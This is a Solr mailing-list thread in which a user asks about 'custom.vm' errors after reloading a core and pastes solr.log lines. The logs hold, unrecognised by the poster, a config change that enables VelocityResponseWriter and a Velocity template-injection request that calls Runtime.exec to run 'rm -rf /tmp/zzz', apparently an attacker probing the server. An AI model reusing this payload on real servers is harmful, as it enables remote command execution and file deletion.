On 4/2/20 5:39 AM, Erick Erickson wrote:
What do your Solr logs show? My bet is that your mods to the configs somehow 
caused the reload to fail too early in the process to be shown in the UI.

These are the lines in solr.log that I see lead to the stack trace (core name has been modified to my_core). I don't understand why Velocity is involved. Is it used by Admin UI?

2020-04-02 02:16:33.851 INFO  (qtp429353573-15) [   x:my_core] o.a.s.h.SolrConfigHandler Executed config commands successfully and persited to File System [{"update-queryresponsewriter":{
    "startup":"lazy",
    "name":"velocity",
    "class":"solr.VelocityResponseWriter",
    "template.base.dir":"",
    "solr.resource.loader.enabled":"true",
    "params.resource.loader.enabled":"true"}}]
2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.S.Request [my_core]  webapp=/solr path=/config params={} status=0 QTime=487 2020-04-02 02:16:33.854 INFO  (qtp429353573-15) [   x:my_core] o.a.s.c.SolrCore [my_core]  CLOSING SolrCore org.apache.solr.core.SolrCore@7b0eae1f 2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] o.a.s.m.SolrMetricManager Closing metric reporters for registry=solr.core.my_core, tag=SolrCore@7b0eae1f 2020-04-02 02:16:33.855 INFO  (qtp429353573-15) [   x:my_core] o.a.s.m.r.SolrJmxReporter Closing reporter [org.apache.solr.metrics.reporters.SolrJmxReporter@2f090079: rootName = null, domain = solr.core.my_core, service url = null, agent id = null] for registry solr.core.my_core / com.codahale.metrics.MetricRegistry@4125989a 2020-04-02 02:16:33.858 INFO (searcherExecutor-29-thread-1-processing-x:my_core) [   x:my_core] o.a.s.c.SolrCore [my_core] Registered new searcher Searcher@45a874aa[my_core] main{ExitableDirectoryReader(UninvertingDirectoryReader(Uninverting(_0(8.3.1):C55967:[diagnostics={java.vendor=Ubuntu, os=Linux, java.version=11.0.6, java.vm.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, lucene.version=8.3.1, os.arch=amd64, java.runtime.version=11.0.6+10-post-Ubuntu-1ubuntu118.04.1, source=flush, os.version=4.15.0-76-generic, timestamp=1585790971495}]:[attributes={Lucene50StoredFieldsFormat.mode=BEST_SPEED}])))} 2020-04-02 02:16:34.105 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.S.Request [my_core]  webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec('rm+-rf+/tmp/zzz'))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end&wt=velocity} hits=0 status=0 QTime=1 2020-04-02 02:16:34.106 INFO  (qtp429353573-17) [   x:my_core] o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = queryResponseWriter,name = velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = {startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}} 2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] o.a.v.loader ResourceManager: unable to find resource 'custom.vm' in any resource loader. 2020-04-02 02:16:34.276 ERROR (qtp429353573-17) [   x:my_core] o.a.s.s.HttpSolrCall null:java.io.IOException: Unable to find resource 'custom.vm'


Best,
Erick

On Apr 2, 2020, at 02:50, TK Solr <tksol...@sonic.net> wrote:

I'm on Solr 8.3.1 running in non-solrcloud mode.

When I tried to reload an existing core from Admin UI's "Core Admin" by 
clicking Reload, after modifying the core's conf/managed-schema, no error was reported. 
But the newly added field type is not shown in the core's Analyzer section.

I selected Logging from the side bar, I saw errors like this for every core, 
not just the core I tried to reload.

null:java.io.IOException: Unable to find resource 'custom.vm'
     at 
org.apache.solr.response.VelocityResponseWriter.getTemplate(VelocityResponseWriter.java:374)
     at 
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:152)
     at 
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
     at 
org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:892)
     at org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:594)
     at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:419)
     at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:351)
     at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1602)
     at 
org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:540)

I could not find any mention of custom.vm in any files under any core's conf 
directory.

I restarted Solr, the core was loaded without an error and I can see the newly 
added filed type.

What could be the cause of these errors that only happens with the Reload 
button?

TK


Reply via email to